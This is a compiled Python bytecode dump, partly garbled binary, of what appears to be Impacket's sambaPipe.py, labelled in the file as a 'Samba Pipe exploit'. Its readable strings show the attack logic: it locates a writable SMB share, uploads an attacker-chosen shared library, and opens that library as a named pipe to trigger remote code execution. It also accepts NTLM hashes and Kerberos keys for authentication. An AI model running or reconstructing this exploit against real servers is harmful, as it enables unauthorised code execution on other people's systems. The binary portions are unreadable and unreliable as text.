o
    j0                  
   @   s  d dl Z d dlZd dlZd dlmZ d dlmZ d dlmZ d dl	m
Z
 d dlmZ d dlmZmZmZmZmZmZmZmZmZmZmZ d dlmZmZmZmZmZmZm Z m!Z! d d	l"m#Z# G d
d dZ$e%dkre&ej' e j(dddZ)e)j*dddd e)j*ddddd e)j*dddd e)j*dddd e)+dZ,e,j*ddddd  e,j*d!dd"d e,j*d#dd$d e,j*d%dd&d'd  e)+d(Z,e,j*d)dd*d+d  e,j*d,dd*d-d  e,j*d.d/d0gd1d0d2d3d4 e-ej.d5kre)/  e0d5 e)1 Z2e3e2j4e2j5 e
e2j6\Z7Z8Z9Z:e2j;du re:e2_;e7du rd6Z7e9d6kr=e8d6kr=e2j<du r=e2j=d7u r=e2j>du r=d d8l?m?Z? e?d9Z9e2j>durFde2_@e2j<durUe2j<Ad:\ZBZCnd6ZBd6ZCzFe#e:e2j;eDe2jEd;ZFe2j@du ryeFGe8e9e7eBeCe2j>e2jH n	eFIe8e9e7eBeC eFJ ekreFjKjLd<  e! M  < e$eFe2ZMeMN  W dS  eOy ZP zeQ jRejSkrd dlTZTeTU  eVeWeP W Y dZP[PdS dZP[Pww dS )=    N)path)version)logger)parse_target)STATUS_SUCCESS)	FILE_OPENSMB_DIALECTSMB
SMBCommandSMBNtCreateAndX_ParametersSMBNtCreateAndX_DataFILE_READ_DATAFILE_SHARE_READFILE_NON_DIRECTORY_FILEFILE_WRITE_DATAFILE_DIRECTORY_FILE)SMB2_IL_IMPERSONATIONSMB2_CREATESMB2_FLAGS_DFS_OPERATIONS
SMB2Create
SMB2PacketSMB2Create_ResponseSMB2_OPLOCK_LEVEL_NONESMB2_SESSION_FLAG_ENCRYPT_DATA)SMBConnectionc                   @   sN   e Zd Zdd Zdd Zdd Zdd Zed	ed
fddZ	dd Z
dd Zd
S )	PIPEDREAMc                 C   s   || _ || _d S )N)_PIPEDREAM__smbClient_PIPEDREAM__options)self	smbClientoptions r!   /root/aizidognhua/tmp/workspace/projects/ec89d86c-575f-41c9-af57-ac45cbdbf775/venv/lib/python3.10/site-packages/../../../bin/sambaPipe.py__init__3   s   
zPIPEDREAM.__init__c              
   C   s   t d|  zt d|  | j|}W n ty0 } zt t| W Y d }~dS d }~ww z| jj|dttd d}W |S  tyL   d}Y |S w )NzChecking %s for write accesszConnecting to share %sF\)creationOptionT)	loggingdebugr   connectTree	ExceptionstropenFiler   r   )r   	shareNametidewritabler!   r!   r"   isShareWritable7   s$   zPIPEDREAM.isShareWritablec                 C   s   ddl m}m} |j| j | j d| jd}| }|  |	|j
 ||d}|d d d d	 D ]*}| |d
 d d r`|d ddd  d d d }|d
 d d |f  S q6td)Nr   )	transportsrvsz\srvsvc)filenamesmb_connection   
InfoStruct	ShareInfoLevel2Buffershi2_netname	shi2_path:z"No suitable share found, aborting!)impacket.dcerpc.v5r1   r2   SMBTransportr   getRemoteNamegetRemoteHostget_dce_rpcconnectbindMSRPC_UUID_SRVShNetrShareEnumr0   splitr)   )r   r1   r2   rpctransportdcerespshare	sharePathr!   r!   r"   findSuitableShareI   s   "zPIPEDREAM.findSuitableSharec                 C   sP   t | jjdd}td|  t| jjd}| j	|||j
 |  |S )Nr$   /zUploading %s to targetrb)r   basenamer   soreplacer&   infoopenr   putFilereadclose)r   r,   fileNamefhr!   r!   r"   uploadSoFileX   s   zPIPEDREAM.uploadSoFiler   Nc                 C   sV  | j   }t|d< ||d< | j jjd | d du r t|d< t }d|d< |
|d	< ||d
< ||d< ||d< ||d< ||d< ||d< t|d |d< |dkrW|	d|d< nd|d< |d ur||d  |7  < tt
 tj |d  |d< t||d< nd|d< d|d< ||d< | j  |}| j  |}|trt|d }t|d S d S )NCommandTreeIDTreeConnectTable
IsDfsShareTFlagsr   SecurityFlagsRequestedOplockLevelImpersonationLevelDesiredAccessFileAttributesShareAccessCreateDispositionCreateOptionsr5   
NameLength utf-16ler9       CreateContextsOffsetCreateContextsLengthDataFileID)r   getSMBServer
SMB_PACKETr   _SMBConnection_Sessionr   r   lenencoder   SIZEsendSMBrecvSMBisValidAnswerr   r   r*   )r   treeIdrX   desiredAccess	shareModecreationOptionscreationDispositionfileAttributesimpersonationLevelsecurityFlagsoplockLevelcreateContextspacket
smb2CreatepacketIDanscreateResponser!   r!   r"   createa   s>   
zPIPEDREAM.createc              	   C   sZ  | j d}|dd}dt|| }td|  td | j  tkr| j 	 
 \}}|tj@ r:|dn|}ttj}t |d< t|d|d	< t||d d
< t|d d< d|d d< t|d d< t|d d< t|d d< t|d d< d|d d< d|d d< ||d	 d< |tj@ rd|d	 d< | j 	 j|||dS | j||ttttddS )NzIPC$r$   rN   zFinal path to load is %sz&Triggering bug now, cross your fingersrj   
Parameters)flagsrn   FileNameLength
AccessMaskr   rd   re   Dispositionrg   Impersonationr`      CreateFlagsFileNamePad)cmd)r{   r|   r}   r~   r   )r   r(   rR   r   joinr&   rS   
getDialectr   rp   	get_flagsr	   FLAGS2_UNICODEru   r
   SMB_COM_NT_CREATE_ANDXr   r   rt   r   r   r   r   r   nt_create_andxr   )r   rL   rX   rz   pathName_flags2ntCreater!   r!   r"   openPipe   s6   



zPIPEDREAM.openPipec              
   C   s   t d |  \}}t d||f  | |}t d|  zQz| || W n* tyS } zt|ddkr@t d n	t dt|  W Y d }~nd }~ww W t d | j	|| d S W t d | j	|| d S t d | j	|| w )	Nz#Finding a writeable share at targetzFound share %s with path %szShare path is %sSTATUS_OBJECT_NAME_NOT_FOUNDr   zSExpected STATUS_OBJECT_NAME_NOT_FOUND received, doesn't mean the exploit worked thoz+Target likely not vulnerable, Unexpected %szRemoving file from target)
r&   rS   rM   rZ   r   r)   r*   findr   
deleteFile)r   r,   rL   rX   r.   r!   r!   r"   run   s*   




zPIPEDREAM.run)__name__
__module____qualname__r#   r0   rM   rZ   r   r   r   r   r   r!   r!   r!   r"   r   2   s    

.$r   __main__TzSamba Pipe exploit)add_helpdescriptiontargetstorez6[[domain/]username[:password]@]<targetName or address>)actionhelpz-sozso filename to upload and load)r   requiredr   z-debug
store_truezTurn DEBUG output ONz-tsz&Adds timestamp to every logging outputauthenticationz-hasheszLMHASH:NTHASHz$NTLM hashes, format is LMHASH:NTHASH)r   metavarr   z-no-passz&don't ask for password (useful for -k)z-kzUse Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ones specified in the command linez-aesKeyzhex keyz<AES key to use for Kerberos Authentication (128 or 256 bits)
connectionz-dc-ipz
ip addressztIP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameterz
-target-ipzIP Address of the target machine. If omitted it will use whatever was specified as target. This is useful when target is the NetBIOS name and you cannot resolve itz-port139445?zdestination portz)Destination port to connect to SMB Server)choicesnargsdefaultr   r      ri   F)getpassz	Password:r=   )	sess_portSessionFlags)Xargparser&   sysosr   impacketr   impacket.examplesr   impacket.examples.utilsr   impacket.nt_errorsr   impacket.smbr   r   r	   r
   r   r   r   r   r   r   r   impacket.smb3structsr   r   r   r   r   r   r   r   impacket.smbconnectionr   r   r   printBANNERArgumentParserparseradd_argumentadd_argument_groupgrouprt   argv
print_helpexit
parse_argsr    inittsr'   r   domainusernamepasswordaddress	target_iphashesno_passaesKeyr   krG   lmhashnthashintportr   kerberosLogindc_iploginr   rr   rs   	pipeDreamr   r)   r.   	getLoggerlevelDEBUG	traceback	print_excerrorr*   r!   r!   r!   r"   <module>   s   !4( 







8
